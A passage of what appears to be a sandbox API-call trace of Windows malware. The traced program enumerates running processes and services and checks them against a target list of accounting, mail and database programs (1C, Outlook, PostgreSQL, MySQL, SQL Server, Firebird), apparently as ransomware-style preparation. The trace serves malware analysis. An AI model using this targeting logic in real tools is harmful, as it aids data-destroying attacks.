lpString2="csrss.exe") returned 1 [0233.655] lstrcmpiW (lpString1="postgres.exe", lpString2="csrss.exe") returned 1 [0233.655] lstrcmpiW (lpString1="mysqld-nt.exe", lpString2="csrss.exe") returned 1 [0233.656] lstrcmpiW (lpString1="mysqld.exe", lpString2="csrss.exe") returned 1 [0233.656] lstrcmpiW (lpString1="sqlservr.exe", lpString2="csrss.exe") returned 1 [0233.656] Process32NextW (in: hSnapshot=0x394, lppe=0x217fd34 | out: lppe=0x217fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x1ac, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x6, th32ParentProcessID=0x170, pcPriClassBase=13, dwFlags=0x0, szExeFile="winlogon.exe")) returned 1 [0233.657] lstrlenW (lpString="winlogon.exe") returned 12 [0233.657] lstrcmpiW (lpString1="1c8.exe", lpString2="winlogon.exe") returned -1 [0233.657] lstrcmpiW (lpString1="1cv77.exe", lpString2="winlogon.exe") returned -1 [0233.657] lstrcmpiW (lpString1="outlook.exe", lpString2="winlogon.exe") returned -1 [0233.657] lstrcmpiW (lpString1="postgres.exe", lpString2="winlogon.exe") returned -1 [0233.657] lstrcmpiW (lpString1="mysqld-nt.exe", lpString2="winlogon.exe") returned -1 [0233.657] lstrcmpiW (lpString1="mysqld.exe", lpString2="winlogon.exe") returned -1 [0233.657] lstrcmpiW (lpString1="sqlservr.exe", lpString2="winlogon.exe") returned -1 [0233.657] Process32NextW (in: hSnapshot=0x394, lppe=0x217fd34 | out: lppe=0x217fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x1c8, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x10, th32ParentProcessID=0x178, pcPriClassBase=8, dwFlags=0x0, szExeFile="services.exe")) returned 1 [0233.658] lstrlenW (lpString="services.exe") returned 12 [0233.658] lstrcmpiW (lpString1="1c8.exe", lpString2="services.exe") returned -1 [0233.658] lstrcmpiW (lpString1="1cv77.exe", lpString2="services.exe") returned -1 [0233.658] lstrcmpiW (lpString1="outlook.exe", lpString2="services.exe") returned -1 [0233.658] lstrcmpiW (lpString1="postgres.exe", lpString2="services.exe") returned -1 [0233.658] lstrcmpiW (lpString1="mysqld-nt.exe", lpString2="services.exe") returned -1 [0233.658] lstrcmpiW (lpString1="mysqld.exe", lpString2="services.exe") returned -1 [0233.658] lstrcmpiW (lpString1="sqlservr.exe", lpString2="services.exe") returned 1 [0233.658] Process32NextW (in: hSnapshot=0x394, lppe=0x217fd34 | out: lppe=0x217fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x1d0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x9, th32ParentProcessID=0x178, pcPriClassBase=9, dwFlags=0x0, szExeFile="lsass.exe")) returned 1 [0233.659] lstrlenW (lpString="lsass.exe") returned 9 [0233.659] lstrcmpiW (lpString1="1c8.exe", lpString2="lsass.exe") returned -1 [0233.659] lstrcmpiW (lpString1="1cv77.exe", lpString2="lsass.exe") returned -1 [0233.660] lstrcmpiW (lpString1="outlook.exe", lpString2="lsass.exe") returned 1 [0233.660] lstrcmpiW (lpString1="postgres.exe", lpString2="lsass.exe") returned 1 [0233.660] lstrcmpiW (lpString1="mysqld-nt.exe", lpString2="lsass.exe") returned 1 [0233.660] lstrcmpiW (lpString1="mysqld.exe", lpString2="lsass.exe") returned 1 [0233.660] lstrcmpiW (lpString1="sqlservr.exe", lpString2="lsass.exe") returned 1 [0233.660] Process32NextW (in: hSnapshot=0x394, lppe=0x217fd34 | out: lppe=0x217fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x1d8, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xb, th32ParentProcessID=0x178, pcPriClassBase=8, dwFlags=0x0, szExeFile="lsm.exe")) returned 1 [0233.661] lstrlenW (lpString="lsm.exe") returned 7 [0233.661] lstrcmpiW (lpString1="1c8.exe", lpString2="lsm.exe") returned -1 [0233.661] lstrcmpiW (lpString1="1cv77.exe", lpString2="lsm.exe") returned -1 [0233.661] lstrcmpiW (lpString1="outlook.exe", lpString2="lsm.exe") returned 1 [0233.661] lstrcmpiW (lpString1="postgres.exe", lpString2="lsm.exe") returned 1 [0233.661] lstrcmpiW (lpString1="mysqld-nt.exe", lpString2="lsm.exe") returned 1 [0233.661] lstrcmpiW (lpString1="mysqld.exe", lpString2="lsm.exe") returned 1 [0233.661] lstrcmpiW (lpString1="sqlservr.exe", lpString2="lsm.exe") returned 1 [0233.661] Process32NextW (in: hSnapshot=0x394, lppe=0x217fd34 | out: lppe=0x217fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x254, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xe, th32ParentProcessID=0x1c8, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0233.662] lstrlenW (lpString="svchost.exe") returned 11 [0233.662] lstrcmpiW (lpString1="1c8.exe", lpString2="svchost.exe") returned -1 [0233.662] lstrcmpiW (lpString1="1cv77.exe", lpString2="svchost.exe") returned -1 [0233.662] lstrcmpiW (lpString1="outlook.exe", lpString2="svchost.exe") returned -1 [0233.662] lstrcmpiW (lpString1="postgres.exe", lpString2="svchost.exe") returned -1 [0233.662] lstrcmpiW (lpString1="mysqld-nt.exe", lpString2="svchost.exe") returned -1 [0233.662] lstrcmpiW (lpString1="mysqld.exe", lpString2="svchost.exe") returned -1 [0233.662] lstrcmpiW (lpString1="sqlservr.exe", lpString2="svchost.exe") returned -1 [0233.662] Process32NextW (in: hSnapshot=0x394, lppe=0x217fd34 | out: lppe=0x217fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x298, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xa, th32ParentProcessID=0x1c8, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0233.663] lstrlenW (lpString="svchost.exe") returned 11 [0233.663] lstrcmpiW (lpString1="1c8.exe", lpString2="svchost.exe") returned -1 [0233.663] lstrcmpiW (lpString1="1cv77.exe", lpString2="svchost.exe") returned -1 [0233.664] lstrcmpiW (lpString1="outlook.exe", lpString2="svchost.exe") returned -1 [0233.664] lstrcmpiW (lpString1="postgres.exe", lpString2="svchost.exe") returned -1 [0233.664] lstrcmpiW (lpString1="mysqld-nt.exe", lpString2="svchost.exe") returned -1 [0233.664] lstrcmpiW (lpString1="mysqld.exe", lpString2="svchost.exe") returned -1 [0233.664] lstrcmpiW (lpString1="sqlservr.exe", lpString2="svchost.exe") returned -1 [0233.664] Process32NextW (in: hSnapshot=0x394, lppe=0x217fd34 | out: lppe=0x217fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x2c8, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x14, th32ParentProcessID=0x1c8, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0233.665] lstrlenW (lpString="svchost.exe") returned 11 [0233.665] lstrcmpiW (lpString1="1c8.exe", lpString2="svchost.exe") returned -1 [0233.665] lstrcmpiW (lpString1="1cv77.exe", lpString2="svchost.exe") returned -1 [0233.665] lstrcmpiW (lpString1="outlook.exe", lpString2="svchost.exe") returned -1 [0233.665] lstrcmpiW (lpString1="postgres.exe", lpString2="svchost.exe") returned -1 [0233.665] lstrcmpiW (lpString1="mysqld-nt.exe", lpString2="svchost.exe") returned -1 [0233.665] lstrcmpiW (lpString1="mysqld.exe", lpString2="svchost.exe") returned -1 [0233.665] lstrcmpiW (lpString1="sqlservr.exe", lpString2="svchost.exe") returned -1 [0233.665] Process32NextW (in: hSnapshot=0x394, lppe=0x217fd34 | out: lppe=0x217fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x338, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x11, th32ParentProcessID=0x1c8, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0233.685] lstrlenW (lpString="svchost.exe") returned 11 [0233.685] lstrcmpiW (lpString1="1c8.exe", lpString2="svchost.exe") returned -1 [0233.685] lstrcmpiW (lpString1="1cv77.exe", lpString2="svchost.exe") returned -1 [0233.686] lstrcmpiW (lpString1="outlook.exe", lpString2="svchost.exe") returned -1 [0233.686] lstrcmpiW (lpString1="postgres.exe", lpString2="svchost.exe") returned -1 [0233.686] lstrcmpiW (lpString1="mysqld-nt.exe", lpString2="svchost.exe") returned -1 [0233.686] lstrcmpiW (lpString1="mysqld.exe", lpString2="svchost.exe") returned -1 [0233.686] lstrcmpiW (lpString1="sqlservr.exe", lpString2="svchost.exe") returned -1 [0233.686] Process32NextW (in: hSnapshot=0x394, lppe=0x217fd34 | out: lppe=0x217fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x368, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x13, th32ParentProcessID=0x1c8, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0233.687] lstrlenW (lpString="svchost.exe") returned 11 [0233.687] lstrcmpiW (lpString1="1c8.exe", lpString2="svchost.exe") returned -1 [0233.687] lstrcmpiW (lpString1="1cv77.exe", lpString2="svchost.exe") returned -1 [0233.687] lstrcmpiW (lpString1="outlook.exe", lpString2="svchost.exe") returned -1 [0233.687] Process32NextW (in: hSnapshot=0x394, lppe=0x217fd34 | out: lppe=0x217fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x3a8, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x6, th32ParentProcessID=0x2c8, pcPriClassBase=8, dwFlags=0x0, szExeFile="audiodg.exe")) returned 1 [0233.688] lstrlenW (lpString="audiodg.exe") returned 11 [0233.688] Process32NextW (in: hSnapshot=0x394, lppe=0x217fd34 | out: lppe=0x217fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x3f8, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x7, th32ParentProcessID=0x1c8, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0233.689] lstrlenW (lpString="svchost.exe") returned 11 [0233.689] Process32NextW (in: hSnapshot=0x394, lppe=0x217fd34 | out: lppe=0x217fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x2b4, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x3, th32ParentProcessID=0x1ac, pcPriClassBase=8, dwFlags=0x0, szExeFile="userinit.exe")) returned 1 [0233.690] lstrlenW (lpString="userinit.exe") returned 12 [0233.691] Process32NextW (in: hSnapshot=0x394, lppe=0x217fd34 | out: lppe=0x217fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x35c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1e, th32ParentProcessID=0x2b4, pcPriClassBase=8, dwFlags=0x0, szExeFile="explorer.exe")) returned 1 [0233.692] lstrlenW (lpString="explorer.exe") returned 12 [0233.692] Process32NextW (in: hSnapshot=0x394, lppe=0x217fd34 | out: lppe=0x217fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x410, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x5, th32ParentProcessID=0x338, pcPriClassBase=8, dwFlags=0x0, szExeFile="dwm.exe")) returned 1 [0233.693] lstrlenW (lpString="dwm.exe") returned 7 [0233.693] Process32NextW (in: hSnapshot=0x394, lppe=0x217fd34 | out: lppe=0x217fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x444, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x10, th32ParentProcessID=0x1c8, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0233.694] lstrlenW (lpString="svchost.exe") returned 11 [0233.694] Process32NextW (in: hSnapshot=0x394, lppe=0x217fd34 | out: lppe=0x217fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x4d0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x14, th32ParentProcessID=0x35c, pcPriClassBase=8, dwFlags=0x0, szExeFile="winhost.exe")) returned 1 [0233.695] lstrlenW (lpString="winhost.exe") returned 11 [0233.695] Process32NextW (in: hSnapshot=0x394, lppe=0x217fd34 | out: lppe=0x217fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x538, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x6, th32ParentProcessID=0x1c8, pcPriClassBase=8, dwFlags=0x0, szExeFile="spoolsv.exe")) returned 1 [0233.696] lstrlenW (lpString="spoolsv.exe") returned 11 [0233.696] Process32NextW (in: hSnapshot=0x394, lppe=0x217fd34 | out: lppe=0x217fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x574, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x7, th32ParentProcessID=0x254, pcPriClassBase=8, dwFlags=0x0, szExeFile="dllhost.exe")) returned 1 [0233.697] lstrlenW (lpString="dllhost.exe") returned 11 [0233.697] Process32NextW (in: hSnapshot=0x394, lppe=0x217fd34 | out: lppe=0x217fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x580, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x10, th32ParentProcessID=0x1c8, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0233.699] lstrlenW (lpString="svchost.exe") returned 11 [0233.699] Process32NextW (in: hSnapshot=0x394, lppe=0x217fd34 | out: lppe=0x217fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x598, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x9, th32ParentProcessID=0x1c8, pcPriClassBase=8, dwFlags=0x0, szExeFile="taskhost.exe")) returned 1 [0233.700] lstrlenW (lpString="taskhost.exe") returned 12 [0233.700] Process32NextW (in: hSnapshot=0x394, lppe=0x217fd34 | out: lppe=0x217fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x5e0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x3, th32ParentProcessID=0x4c0, pcPriClassBase=8, dwFlags=0x0, szExeFile="reader_sl.exe")) returned 1 [0233.701] lstrlenW (lpString="reader_sl.exe") returned 13 [0233.701] Process32NextW (in: hSnapshot=0x394, lppe=0x217fd34 | out: lppe=0x217fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x5e0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x3, th32ParentProcessID=0x4c0, pcPriClassBase=8, dwFlags=0x0, szExeFile="reader_sl.exe")) returned 0 [0233.702] CloseHandle (hObject=0x394) returned 1 [0233.702] Sleep (dwMilliseconds=0x1f4) [0234.381] OpenSCManagerW (lpMachineName=0x0, lpDatabaseName=0x0, dwDesiredAccess=0x4) returned 0x62e450 [0234.432] EnumServicesStatusExW (in: hSCManager=0x62e450, InfoLevel=0x0, dwServiceType=0x30, dwServiceState=0x1, lpServices=0x0, cbBufSize=0x0, pcbBytesNeeded=0x217ff44, lpServicesReturned=0x217ff5c, lpResumeHandle=0x0, pszGroupName=0x0 | out: lpServices=0x0, pcbBytesNeeded=0x217ff44, lpServicesReturned=0x217ff5c, lpResumeHandle=0x0) returned 0 [0234.434] GetLastError () returned 0xea [0234.434] RtlAllocateHeap (HeapHandle=0x590000, Flags=0x0, Size=0xc9a) returned 0x432a868 [0234.434] EnumServicesStatusExW (in: hSCManager=0x62e450, InfoLevel=0x0, dwServiceType=0x30, dwServiceState=0x1, lpServices=0x432a868, cbBufSize=0xc9a, pcbBytesNeeded=0x217ff44, lpServicesReturned=0x217ff5c, lpResumeHandle=0x0, pszGroupName=0x0 | out: lpServices=0x432a868, pcbBytesNeeded=0x217ff44, lpServicesReturned=0x217ff5c, lpResumeHandle=0x0) returned 1 [0234.435] CloseServiceHandle (hSCObject=0x62e450) returned 1 [0234.435] lstrlenW (lpString="AudioEndpointBuilder") returned 20 [0234.435] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="AudioEndpointBuilder") returned 1 [0234.435] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="AudioEndpointBuilder") returned 1 [0234.435] lstrcmpiW (lpString1="sqlwriter", lpString2="AudioEndpointBuilder") returned 1 [0234.435] lstrcmpiW (lpString1="mssqlserver", lpString2="AudioEndpointBuilder") returned 1 [0234.435] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="AudioEndpointBuilder") returned 1 [0234.435] lstrlenW (lpString="AudioSrv") returned 8 [0234.435] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="AudioSrv") returned 1 [0234.436] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="AudioSrv") returned 1 [0234.436] lstrcmpiW (lpString1="sqlwriter", lpString2="AudioSrv") returned 1 [0234.436] lstrcmpiW (lpString1="mssqlserver", lpString2="AudioSrv") returned 1 [0234.436] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="AudioSrv") returned 1 [0234.436] lstrlenW (lpString="BFE") returned 3 [0234.436] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="BFE") returned 1 [0234.436] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="BFE") returned 1 [0234.436] lstrcmpiW (lpString1="sqlwriter", lpString2="BFE") returned 1 [0234.436] lstrcmpiW (lpString1="mssqlserver", lpString2="BFE") returned 1 [0234.436] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="BFE") returned 1 [0234.436] lstrlenW (lpString="CryptSvc") returned 8 [0234.436] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="CryptSvc") returned 1 [0234.436] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="CryptSvc") returned 1 [0234.436] lstrcmpiW (lpString1="sqlwriter", lpString2="CryptSvc") returned 1 [0234.437] lstrcmpiW (lpString1="mssqlserver", lpString2="CryptSvc") returned 1 [0234.437] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="CryptSvc") returned 1 [0234.437] lstrlenW (lpString="CscService") returned 10 [0234.437] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="CscService") returned 1 [0234.437] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="CscService") returned 1 [0234.437] lstrcmpiW (lpString1="sqlwriter", lpString2="CscService") returned 1 [0234.437] lstrcmpiW (lpString1="mssqlserver", lpString2="CscService") returned 1 [0234.437] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="CscService") returned 1 [0234.437] lstrlenW (lpString="DcomLaunch") returned 10 [0234.437] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="DcomLaunch") returned 1 [0234.437] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="DcomLaunch") returned 1 [0234.437] lstrcmpiW (lpString1="sqlwriter", lpString2="DcomLaunch") returned 1 [0234.437] lstrcmpiW (lpString1="mssqlserver", lpString2="DcomLaunch") returned 1 [0234.437] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="DcomLaunch") returned 1 [0234.437] lstrlenW (lpString="Dhcp") returned 4 [0234.438] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="Dhcp") returned 1 [0234.438] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="Dhcp") returned 1 [0234.438] lstrcmpiW (lpString1="sqlwriter", lpString2="Dhcp") returned 1 [0234.438] lstrcmpiW (lpString1="mssqlserver", lpString2="Dhcp") returned 1 [0234.438] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="Dhcp") returned 1 [0234.438] lstrlenW (lpString="Dnscache") returned 8 [0234.438] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="Dnscache") returned 1 [0234.438] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="Dnscache") returned 1 [0234.438] lstrcmpiW (lpString1="sqlwriter", lpString2="Dnscache") returned 1 [0234.438] lstrcmpiW (lpString1="mssqlserver", lpString2="Dnscache") returned 1 [0234.438] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="Dnscache") returned 1 [0234.438] lstrlenW (lpString="DPS") returned 3 [0234.438] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="DPS") returned 1 [0234.438] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="DPS") returned 1 [0234.439] lstrcmpiW (lpString1="sqlwriter", lpString2="DPS") returned 1 [0234.439] lstrcmpiW (lpString1="mssqlserver", lpString2="DPS") returned 1 [0234.439] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="DPS") returned 1 [0234.439] lstrlenW (lpString="eventlog") returned 8 [0234.439] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="eventlog") returned 1 [0234.439] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="eventlog") returned 1 [0234.439] lstrcmpiW (lpString1="sqlwriter", lpString2="eventlog") returned 1 [0234.439] lstrcmpiW (lpString1="mssqlserver", lpString2="eventlog") returned 1 [0234.439] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="eventlog") returned 1 [0234.439] lstrlenW (lpString="EventSystem") returned 11 [0234.439] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="EventSystem") returned 1 [0234.439] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="EventSystem") returned 1 [0234.439] lstrcmpiW (lpString1="sqlwriter", lpString2="EventSystem") returned 1 [0234.439] lstrcmpiW (lpString1="mssqlserver", lpString2="EventSystem") returned 1 [0234.440] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="EventSystem") returned 1 [0234.440] lstrlenW (lpString="gpsvc") returned 5 [0234.440] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="gpsvc") returned -1 [0234.440] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="gpsvc") returned -1 [0234.440] lstrcmpiW (lpString1="sqlwriter", lpString2="gpsvc") returned 1 [0234.440] lstrcmpiW (lpString1="mssqlserver", lpString2="gpsvc") returned 1 [0234.440] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="gpsvc") returned 1 [0234.440] lstrlenW (lpString="LanmanWorkstation") returned 17 [0234.440] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="LanmanWorkstation") returned -1 [0234.440] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="LanmanWorkstation") returned -1 [0234.440] lstrcmpiW (lpString1="sqlwriter", lpString2="LanmanWorkstation") returned 1 [0234.440] lstrcmpiW (lpString1="mssqlserver", lpString2="LanmanWorkstation") returned 1 [0234.440] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="LanmanWorkstation") returned 1 [0234.440] lstrlenW (lpString="lmhosts") returned 7 [0234.441] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="lmhosts") returned -1 [0234.441] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="lmhosts") returned -1 [0234.441] lstrcmpiW (lpString1="sqlwriter", lpString2="lmhosts") returned 1 [0234.441] lstrcmpiW (lpString1="mssqlserver", lpString2="lmhosts") returned 1 [0234.441] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="lmhosts") returned 1 [0234.441] lstrlenW (lpString="MMCSS") returned 5 [0234.441] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="MMCSS") returned -1 [0234.441] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="MMCSS") returned -1 [0234.441] lstrcmpiW (lpString1="sqlwriter", lpString2="MMCSS") returned 1 [0234.441] lstrcmpiW (lpString1="mssqlserver", lpString2="MMCSS") returned 1 [0234.441] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="MMCSS") returned 1 [0234.441] lstrlenW (lpString="MpsSvc") returned 6 [0234.441] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="MpsSvc") returned -1 [0234.441] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="MpsSvc") returned -1 [0234.441] lstrcmpiW (lpString1="sqlwriter", lpString2="MpsSvc") returned 1 [0234.442] lstrcmpiW (lpString1="mssqlserver", lpString2="MpsSvc") returned 1 [0234.442] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="MpsSvc") returned 1 [0234.442] lstrlenW (lpString="NlaSvc") returned 6 [0234.442] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="NlaSvc") returned -1 [0234.442] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="NlaSvc") returned -1 [0234.442] lstrcmpiW (lpString1="sqlwriter", lpString2="NlaSvc") returned 1 [0234.442] lstrcmpiW (lpString1="mssqlserver", lpString2="NlaSvc") returned -1 [0234.442] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="NlaSvc") returned 1 [0234.442] lstrlenW (lpString="nsi") returned 3 [0234.442] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="nsi") returned -1 [0234.442] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="nsi") returned -1 [0234.442] lstrcmpiW (lpString1="sqlwriter", lpString2="nsi") returned 1 [0234.442] lstrcmpiW (lpString1="mssqlserver", lpString2="nsi") returned -1 [0234.442] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="nsi") returned 1 [0234.442] lstrlenW (lpString="PcaSvc") returned 6 [0234.443] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="PcaSvc") returned -1 [0234.443] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="PcaSvc") returned -1 [0234.443] lstrcmpiW (lpString1="sqlwriter", lpString2="PcaSvc") returned 1 [0234.443] lstrcmpiW (lpString1="mssqlserver", lpString2="PcaSvc") returned -1 [0234.443] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="PcaSvc") returned 1 [0234.443] lstrlenW (lpString="PlugPlay") returned 8 [0234.443] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="PlugPlay") returned -1 [0234.443] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="PlugPlay") returned -1 [0234.443] lstrcmpiW (lpString1="sqlwriter", lpString2="PlugPlay") returned 1 [0234.443] lstrcmpiW (lpString1="mssqlserver", lpString2="PlugPlay") returned -1 [0234.443] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="PlugPlay") returned 1 [0234.443] lstrlenW (lpString="Power") returned 5 [0234.443] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="Power") returned -1 [0234.443] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="Power") returned -1 [0234.443] lstrcmpiW (lpString1="sqlwriter", lpString2="Power") returned 1 [0234.444] lstrcmpiW (lpString1="mssqlserver", lpString2="Power") returned -1 [0234.444] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="Power") returned 1 [0234.444] lstrlenW (lpString="ProfSvc") returned 7 [0234.444] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="ProfSvc") returned -1 [0234.444] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="ProfSvc") returned -1 [0234.444] lstrcmpiW (lpString1="sqlwriter", lpString2="ProfSvc") returned 1 [0234.444] lstrcmpiW (lpString1="mssqlserver", lpString2="ProfSvc") returned -1 [0234.444] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="ProfSvc") returned 1 [0234.444] lstrlenW (lpString="RpcEptMapper") returned 12 [0234.444] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="RpcEptMapper") returned -1 [0234.444] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="RpcEptMapper") returned -1 [0234.444] lstrcmpiW (lpString1="sqlwriter", lpString2="RpcEptMapper") returned 1 [0234.444] lstrcmpiW (lpString1="mssqlserver", lpString2="RpcEptMapper") returned -1 [0234.444] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="RpcEptMapper") returned 1 [0234.444] lstrlenW (lpString="RpcSs") returned 5 [0234.445] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="RpcSs") returned -1 [0234.445] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="RpcSs") returned -1 [0234.445] lstrcmpiW (lpString1="sqlwriter", lpString2="RpcSs") returned 1 [0234.445] lstrcmpiW (lpString1="mssqlserver", lpString2="RpcSs") returned -1 [0234.445] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="RpcSs") returned 1 [0234.445] lstrlenW (lpString="SamSs") returned 5 [0234.445] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="SamSs") returned -1 [0234.445] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="SamSs") returned -1 [0234.445] lstrcmpiW (lpString1="sqlwriter", lpString2="SamSs") returned 1 [0234.445] lstrcmpiW (lpString1="mssqlserver", lpString2="SamSs") returned -1 [0234.445] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="SamSs") returned 1 [0234.445] lstrlenW (lpString="Schedule") returned 8 [0234.445] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="Schedule") returned -1 [0234.446] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="Schedule") returned -1 [0234.446] lstrcmpiW (lpString1="sqlwriter", lpString2="Schedule") returned 1 [0234.446] lstrcmpiW (lpString1="mssqlserver", lpString2="Schedule") returned -1 [0234.446] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="Schedule") returned 1 [0234.446] lstrlenW (lpString="SENS") returned 4 [0234.446] lstrcmpiW 